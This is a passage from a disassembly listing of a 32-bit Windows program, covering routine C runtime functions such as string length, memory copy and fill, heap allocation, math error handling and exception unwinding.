sub_4181A0 sub_415836 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415853 proc near ; DATA XREF: .rdata:off_4275B8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4157F9 test [esp+4+arg_0], 1 jz short loc_415869 push esi call sub_4158CA pop ecx loc_415869: ; CODE XREF: sub_415853+Dj mov eax, esi pop esi retn 4 sub_415853 endp ; =============== S U B R O U T I N E ======================================= sub_41586F proc near ; CODE XREF: sub_415836+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4156B4 mov dword ptr [esi], offset off_4275B8 mov eax, esi pop esi retn 4 sub_41586F endp ; =============== S U B R O U T I N E ======================================= sub_415887 proc near ; DATA XREF: .data:00429108o ; FUNCTION CHUNK AT 004158BD SIZE 0000000C BYTES test byte_492ADC, 1 jnz short loc_415897 or byte_492ADC, 1 loc_415897: ; CODE XREF: sub_415887+7j call sub_4158B1 test byte_492AE5, 1 jnz short loc_4158AC or byte_492AE5, 1 loc_4158AC: ; CODE XREF: sub_415887+1Cj jmp loc_4158BD sub_415887 endp ; =============== S U B R O U T I N E ======================================= sub_4158B1 proc near ; CODE XREF: sub_415887:loc_415897p push offset j_nullsub_1 call sub_4167E0 pop ecx retn sub_4158B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415887 loc_4158BD: ; CODE XREF: sub_415887:loc_4158ACj push offset nullsub_2 call sub_4167E0 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_415887 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4158CA proc near ; CODE XREF: sub_402931+26p ; sub_415698+10p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415D6C pop ecx retn sub_4158CA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4158E0 proc near ; CODE XREF: .text:004016E8p ; sub_40196F+7p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_415900 loc_4158EC: ; CODE XREF: sub_4158E0+19j mov al, [ecx] inc ecx test al, al jz short loc_415933 test ecx, 3 jnz short loc_4158EC add eax, 0 loc_415900: ; CODE XREF: sub_4158E0+Aj ; sub_4158E0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415900 mov eax, [ecx-4] test al, al jz short loc_415951 test ah, ah jz short loc_415947 test eax, 0FF0000h jz short loc_41593D test eax, 0FF000000h jz short loc_415933 jmp short loc_415900 ; --------------------------------------------------------------------------- loc_415933: ; CODE XREF: sub_4158E0+11j ; sub_4158E0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41593D: ; CODE XREF: sub_4158E0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415947: ; CODE XREF: sub_4158E0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415951: ; CODE XREF: sub_4158E0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_4158E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415960 proc near ; CODE XREF: sub_401716+25p ; sub_40175E+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_415980 cmp edi, eax jb loc_415AF8 loc_415980: ; CODE XREF: sub_415960+16j test edi, 3 jnz short loc_41599C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4159BC rep movsd jmp ds:off_415AA8[edx*4] ; --------------------------------------------------------------------------- loc_41599C: ; CODE XREF: sub_415960+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4159B4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_4159BC+4[eax*4] ; --------------------------------------------------------------------------- loc_4159B4: ; CODE XREF: sub_415960+46j jmp dword ptr ds:loc_415AB8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4159BC: ; CODE XREF: sub_415960+31j ; sub_415960+8Ej ... jmp ds:off_415A3C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4159D0 dd offset loc_4159FC dd offset loc_415A20 ; --------------------------------------------------------------------------- loc_4159D0: ; DATA XREF: sub_415960+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4159BC rep movsd jmp ds:off_415AA8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4159FC: ; DATA XREF: sub_415960+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4159BC rep movsd jmp ds:off_415AA8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415A20: ; DATA XREF: sub_415960+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4159BC rep movsd jmp ds:off_415AA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_415A3C dd offset loc_415A9F ; DATA XREF: sub_415960:loc_4159BCr dd offset loc_415A8C dd offset loc_415A84 dd offset loc_415A7C dd offset loc_415A74 dd offset loc_415A6C dd offset loc_415A64 dd offset loc_415A5C ; --------------------------------------------------------------------------- loc_415A5C: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_415A64: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_415A6C: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_415A74: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_415A7C: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_415A84: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_415A8C: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_415A9F: ; CODE XREF: sub_415960:loc_4159BCj ; DATA XREF: sub_415960:off_415A3Co jmp ds:off_415AA8[edx*4] ; --------------------------------------------------------------------------- align 4 off_415AA8 dd offset loc_415AB8 ; DATA XREF: sub_415960+35r ; sub_415960+92r ... dd offset loc_415AC0 dd offset loc_415ACC dd offset loc_415AE0 ; --------------------------------------------------------------------------- loc_415AB8: ; CODE XREF: sub_415960+35j ; sub_415960+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415AC0: ; CODE XREF: sub_415960+35j ; sub_415960+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415ACC: ; CODE XREF: sub_415960+35j ; sub_415960+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_415AE0: ; CODE XREF: sub_415960+35j ; sub_415960+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415AF8: ; CODE XREF: sub_415960+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_415B2C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_415B20 std rep movsd cld jmp ds:off_415C40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415B20: ; CODE XREF: sub_415960+1B1j ; sub_415960+208j ... neg ecx jmp ds:off_415BF0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_415B2C: ; CODE XREF: sub_415960+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_415B44 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_415B44+4[eax*4] ; --------------------------------------------------------------------------- loc_415B44: ; CODE XREF: sub_415960+1D6j ; DATA XREF: sub_415960+1DDr jmp ds:off_415C40[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415B58 dd offset loc_415B78 dd offset loc_415BA0 ; --------------------------------------------------------------------------- loc_415B58: ; DATA XREF: sub_415960+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_415B20 std rep movsd cld jmp ds:off_415C40[edx*4] ; --------------------------------------------------------------------------- align 4 loc_415B78: ; DATA XREF: sub_415960+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_415B20 std rep movsd cld jmp ds:off_415C40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415BA0: ; DATA XREF: sub_415960+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_415B20 std rep movsd cld jmp ds:off_415C40[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415BF4 dd offset loc_415BFC dd offset loc_415C04 dd offset loc_415C0C dd offset loc_415C14 dd offset loc_415C1C dd offset loc_415C24 off_415BF0 dd offset loc_415C37 ; DATA XREF: sub_415960+1C2r ; --------------------------------------------------------------------------- loc_415BF4: ; DATA XREF: sub_415960+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_415BFC: ; DATA XREF: sub_415960+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_415C04: ; DATA XREF: sub_415960+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_415C0C: ; DATA XREF: sub_415960+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_415C14: ; DATA XREF: sub_415960+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_415C1C: ; DATA XREF: sub_415960+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_415C24: ; DATA XREF: sub_415960+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_415C37: ; CODE XREF: sub_415960+1C2j ; DATA XREF: sub_415960:off_415BF0o jmp ds:off_415C40[edx*4] ; --------------------------------------------------------------------------- align 10h off_415C40 dd offset loc_415C50 ; DATA XREF: sub_415960+1B7r ; sub_415960:loc_415B44r ... dd offset loc_415C58 dd offset loc_415C68 dd offset loc_415C7C ; --------------------------------------------------------------------------- loc_415C50: ; CODE XREF: sub_415960+1B7j ; sub_415960:loc_415B44j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415C58: ; CODE XREF: sub_415960+1B7j ; sub_415960:loc_415B44j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415C68: ; CODE XREF: sub_415960+1B7j ; sub_415960:loc_415B44j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415C7C: ; CODE XREF: sub_415960+1B7j ; sub_415960:loc_415B44j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_415960 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415CA0 proc near ; CODE XREF: sub_401716+1Ap ; sub_40175E+22p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_415CF3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_415CE7 neg ecx and ecx, 3 jz short loc_415CC9 sub edx, ecx loc_415CC3: ; CODE XREF: sub_415CA0+27j mov [edi], al inc edi dec ecx jnz short loc_415CC3 loc_415CC9: ; CODE XREF: sub_415CA0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_415CE7 rep stosd test edx, edx jz short loc_415CED loc_415CE7: ; CODE XREF: sub_415CA0+18j ; sub_415CA0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_415CE7 loc_415CED: ; CODE XREF: sub_415CA0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415CF3: ; CODE XREF: sub_415CA0+Aj mov eax, [esp+arg_0] retn sub_415CA0 endp ; =============== S U B R O U T I N E ======================================= sub_415CF8 proc near ; CODE XREF: sub_401716+Ap ; sub_40175E+12p ... arg_0 = dword ptr 4 push dword_49284C push [esp+4+arg_0] call sub_415D0A pop ecx pop ecx retn sub_415CF8 endp ; =============== S U B R O U T I N E ======================================= sub_415D0A proc near ; CODE XREF: sub_415CF8+Ap ; sub_416765+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_415D33 loc_415D11: ; CODE XREF: sub_415D0A+27j push [esp+arg_0] call sub_415D36 test eax, eax pop ecx jnz short locret_415D35 cmp [esp+arg_4], eax jz short locret_415D35 push [esp+arg_0] call sub_4181F0 test eax, eax pop ecx jnz short loc_415D11 loc_415D33: ; CODE XREF: sub_415D0A+5j xor eax, eax locret_415D35: ; CODE XREF: sub_415D0A+13j ; sub_415D0A+19j retn sub_415D0A endp ; =============== S U B R O U T I N E ======================================= sub_415D36 proc near ; CODE XREF: sub_415D0A+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_435AC8 ja short loc_415D4E push esi call sub_41866D test eax, eax pop ecx jnz short loc_415D6A loc_415D4E: ; CODE XREF: sub_415D36+Bj test esi, esi jnz short loc_415D55 push 1 pop esi loc_415D55: ; CODE XREF: sub_415D36+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_49426C call ds:dword_495428 ; RtlAllocateHeap loc_415D6A: ; CODE XREF: sub_415D36+16j pop esi retn sub_415D36 endp ; =============== S U B R O U T I N E ======================================= sub_415D6C proc near ; CODE XREF: sub_4017C8+Ap ; sub_4017E7+7Bp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_415D99 push esi call sub_418317 pop ecx test eax, eax push esi jz short loc_415D8B push eax call sub_418342 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_415D8B: ; CODE XREF: sub_415D6C+13j push 0 push dword_49426C call ds:dword_49542C ; RtlFreeHeap loc_415D99: ; CODE XREF: sub_415D6C+7j pop esi retn sub_415D6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415D9B(double) sub_415D9B proc near ; CODE XREF: sub_4020C1+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_435A60 call sub_419BA8 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415E21 call sub_419A70 pop ecx test eax, eax pop ecx jle short loc_415E04 cmp eax, 2 jle short loc_415DF6 cmp eax, 3 jnz short loc_415E04 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_419218 add esp, 10h jmp short loc_415E66 ; --------------------------------------------------------------------------- loc_415DF6: ; CODE XREF: sub_415D9B+3Fj push esi push ebx call sub_419BA8 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415E66 ; --------------------------------------------------------------------------- loc_415E04: ; CODE XREF: sub_415D9B+3Aj ; sub_415D9B+44j fld [ebp+arg_0] fadd ds:dbl_4275E0 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_415E5E ; --------------------------------------------------------------------------- loc_415E21: ; CODE XREF: sub_415D9B+2Fj call sub_4199D1 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415E44 loc_415E36: ; CODE XREF: sub_415D9B+ACj push esi push ebx call sub_419BA8 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415E66 ; --------------------------------------------------------------------------- loc_415E44: ; CODE XREF: sub_415D9B+99j test bl, 20h jnz short loc_415E36 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_415E5E: ; CODE XREF: sub_415D9B+84j call sub_4192CA add esp, 1Ch loc_415E66: ; CODE XREF: sub_415D9B+59j ; sub_415D9B+67j ... pop esi pop ebx leave retn sub_415D9B endp ; =============== S U B R O U T I N E ======================================= sub_415E6A proc near ; CODE XREF: sub_4177E0+9p ; sub_419C71+21p ; DATA XREF: ... call sub_415E82 call sub_419C71 mov dword_4927D0, eax call sub_419C21 fnclex retn sub_415E6A endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_415E82 proc near ; CODE XREF: sub_415E6Ap mov eax, offset sub_41A05F mov off_435BEC, offset sub_419CF4 mov off_435BE8, eax mov off_435BF0, offset sub_419D5A mov off_435BF4, offset sub_419C9A mov off_435BF8, offset sub_419D42 mov off_435BFC, eax retn sub_415E82 endp ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_4927CC mov dword_4927CC, ecx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415ECC proc near ; CODE XREF: sub_4020C1+1Bp ; sub_4020C1+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_415ECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415EF3(double) sub_415EF3 proc near ; CODE XREF: sub_402120+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_435A78 call sub_419BA8 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415F79 call sub_419A70 pop ecx test eax, eax pop ecx jle short loc_415F5C cmp eax, 2 jle short loc_415F4E cmp eax, 3 jnz short loc_415F5C fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_419218 add esp, 10h jmp short loc_415FBE ; --------------------------------------------------------------------------- loc_415F4E: ; CODE XREF: sub_415EF3+3Fj push esi push ebx call sub_419BA8 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415FBE ; --------------------------------------------------------------------------- loc_415F5C: ; CODE XREF: sub_415EF3+3Aj ; sub_415EF3+44j fld [ebp+arg_0] fadd ds:dbl_4275E0 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_415FB6 ; --------------------------------------------------------------------------- loc_415F79: ; CODE XREF: sub_415EF3+2Fj call sub_4199D1 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415F9C loc_415F8E: ; CODE XREF: sub_415EF3+ACj push esi push ebx call sub_419BA8 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415FBE ; --------------------------------------------------------------------------- loc_415F9C: ; CODE XREF: sub_415EF3+99j test bl, 20h jnz short loc_415F8E fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_415FB6: ; CODE XREF: sub_415EF3+84j call sub_4192CA add esp, 1Ch loc_415FBE: ; CODE XREF: sub_415EF3+59j ; sub_415EF3+67j ... pop esi pop ebx leave retn sub_415EF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FC2 proc near ; CODE XREF: sub_41A4D0+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_415FC2 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_415FF6 proc near ; CODE XREF: sub_41A845+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_415FF6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415FFD proc near ; CODE XREF: sub_41A681+199p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_415FFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416004 proc near ; CODE XREF: sub_41A681+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_416004 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41600B proc near ; CODE XREF: sub_4161D7+5Cp ; sub_41A4D0:loc_41A501p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_416033 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_421268 ; RtlUnwind loc_416033: ; DATA XREF: sub_41600B+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41600B endp ; --------------------------------------------------------------------------- loc_41605A: ; CODE XREF: .text:004250A8j ; .text:004250CDj ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41A0D5 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, [esp+4] push dword ptr [eax+1Ch] push dword ptr [eax+28h] push 0 push dword ptr [eax+18h] call sub_41A41C add esp, 10h retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160AA proc near ; CODE XREF: sub_41A54B+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_4160FE inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41A8D0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_4160AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160FE proc near ; DATA XREF: sub_4160AA+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A0D5 add esp, 20h pop ebp retn sub_4160FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416123 proc near ; CODE XREF: sub_41A317+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4161D7 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_4161A9 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_49286C pop ecx pop ecx and [ebp+var_34], 0 loc_4161A9: ; DATA XREF: sub_416123+3Co cmp [ebp+var_4], 0 jz short loc_4161C6 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4161CF ; --------------------------------------------------------------------------- loc_4161C6: ; CODE XREF: sub_416123+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4161CF: ; CODE XREF: sub_416123+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_416123 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161D7 proc near ; DATA XREF: sub_416123+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4161FA mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_416247 ; --------------------------------------------------------------------------- loc_4161FA: ; CODE XREF: sub_4161D7+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A0D5 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_416238 push [ebp+arg_0] push [ebp+arg_4] call sub_41600B loc_416238: ; CODE XREF: sub_4161D7+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_416247: ; CODE XREF: sub_4161D7+21j pop edi pop esi pop ebx pop ebp retn sub_4161D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 